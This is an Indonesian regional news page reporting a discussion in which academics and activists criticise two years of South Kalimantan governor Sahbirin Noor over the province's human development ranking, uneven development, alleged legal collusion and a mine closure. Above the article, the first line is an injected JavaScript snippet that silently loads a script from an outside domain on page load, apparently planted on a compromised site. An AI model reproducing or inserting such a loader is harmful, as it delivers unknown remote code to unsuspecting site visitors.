(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemerintahan

Dua Tahun Paman Birin, Pembangunan Manusia Kalsel Merosot


BANJARMASIN, Dosen senior Universitas Kalimantan (Uniska) Dr Uhaib As’ad mengungkapkan bahwa indeks pembangunan manusia (IPM) Kalsel merosot tajam di posisi 25 dari 34 provinsi di Indonesia. Padahal, imbuh dia, Kalsel menyumbang APBN sekitar Rp 300 triliun.

“IPM Kalsel sekarang mangkrak di posisi 25 dari 34 provinsi padahal kita tahu Kalsel penyumbang Rp. 300 Triliun kepada APBN total,” kata Uhaib saat dalam diskusi yang dilaksakanan Lembaga Swadaya Masyarakat Social Ekonomi Cultural Indonesia (SECI) di Gedung Dakwah Nahdlatul Ulama, di Gambut, Kabupaten Bajar, Selasa (28/2).

Hal tersebut dibenarkan Sekretaris Bappeda Kalsel Karyadi. Menurutnya, capaian dua tahun terakhir, misalnya IPM masih rendah.

Namun, imbuh dia, tapi Kalsel terus melakukan perbaikan-perbaikan yang sangat cepat.

Karyadi mengklaim pihaknya berhasil menurunkan angka pengangguran. “Pengangguran, bersamaan dengan kemiskinan menurun, yang tingkatnya hanya 4,77 persen,” ujarnya.

Sementara itu, Tokoh Muda Hulu Sungai, H Didi Bukhari menyoroti dua tahun pemerintahan Gubernur Sahbirin Noor telah melahirkan kesenjangan pembangunan antara kawasan Pesisir dengan Hulu Sungai.

“Pembangunan lebih banyak ke Kawasan Pesisir dari pada Daerah Hulu Sungai. Padahal jumlah penduduk Kalsel lebih banyak di Hulu Sungai,” kata Didi Bukhari yang juga Direktur Eksekutif SECI.

Dalam kesempatan yang sama, Pengusaha Tambang asal Kalsel,  M Solikin juga menyoroti tentang ‘pelacuran hukum’ yang sekarang sedang marak terjadi di Banua.

“Ya saya harus katakan pelacuran hukum karena para penegak hukum yang bermain dengan para penguasa dan pengusaha,” ujarnya.

Oleh karenanya, ia pun berharap agar Gubernur Kalsel Paman Birin mampu bersikap adil dalam pengelolaan iklim usaha di Kalsel.

Pembicara terakhir, Nasrullah justru menyoroti keberpihakan Gubernur Sahbirin Noor kepada pengusaha tertentu.

“Misalnya, menutup tambang di Kotabaru yang diduga kuat pesanan pengusaha tertentu. Kalau mau tutup tambang, tutup saja semua tambang di Kalsel, di Kotabaru, di Tanah Bumbu, Tanah Laut, Binuang, dan Tabalong, tutup saja semua. Karena tambang pasti merusak lingkungan,” ujar Sekretaris PWNU periode 2012-2017 tersebut. Apalagi, imbuh dia, tambang di Kotabaru milik PT Silo Grup sudah memenuhi segala persyaratan atau memiliki serifikat CnC.

“Penutupannya terindikasi melanggar hukum, ya karena diduga kuat pesanan tadi. Jadi asas penyelenggaraan pemerintahan yang baik sangat jauh dari harapan,” pungkasnya. (bie)

Reporter : Bie
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

8 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

8 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

9 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

10 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

10 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

15 jam ago

This website uses cookies.